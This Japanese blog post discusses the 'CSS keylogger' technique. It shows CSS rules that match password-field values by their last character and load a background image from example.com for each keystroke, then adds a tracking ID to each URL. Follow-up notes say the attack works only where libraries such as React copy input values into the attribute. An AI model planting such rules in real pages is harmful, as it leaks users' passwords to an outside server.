CSSだけでキーロガーを作る(※追記あり)

github.com

よくもまあこんなこと思いついたなw

要するに、

input[type="password"][value$="a"] {
  background-image: url("http://example.com/a");
}

input[type="password"][value$="b"] {
  background-image: url("http://example.com/b");
}

...

とすることで、キータイプ毎に特定のHTTPリクエストを発生させて、それをサーバ側でキャプチャするわけです。極めて簡単。

これはもう既に悪用されているでしょうなあ…

追記

input[type="password"][value$="a"] {
  background-image: url("http://example.com/a?id=1234abcd");
}

input[type="password"][value$="b"] {
  background-image: url("http://example.com/b?id=1234abcd");
}

...

のようにCSSごとに個別のIDを付けることが可能なら、キャプチャ側のサーバで操作を特定できます。 キーをものすごく連打したらアレですけど。


更に、レスポンスにCache-Control: no-storeを付ければキャッシュもされない(はず)です。
(→CSS経由だと特別扱いされるかも。そこまでは調べてないので情報お待ちしています)

CSSのルールが一旦評価されると、それがキータイプ毎に再評価される(≒URL先を毎回読みに行く)わけではないはずなので、やっぱりキャッシュが効いてしまう気がしてきました。

追記2

CSSだけでキーロガーを作る - R42日記

同じアイデアはすでにweb fontで実現されていたし、3rd party cssの危険性が急に上がったわけではない / この攻撃はattributeを変更するReact等特定ライブラリ上しか動かない https://jakearchibald.com/2018/third-party-css-is-not-safe/

2018/02/28 12:09
b.hatena.ne.jp

id:teppeis 氏のブコメの通り、確かにこの攻撃は

input要素の【value属性】に【valueプロパティ】をリアルタイムで反映する

という、あまり一般的とは言えない実装に限定されます。そりゃそうだ。うっかりしてました…

で、有名所だとReactがそういう実装になっているそうです。

こちらで他の手法について色々解説があります。あとで訳してみよう。 jakearchibald.com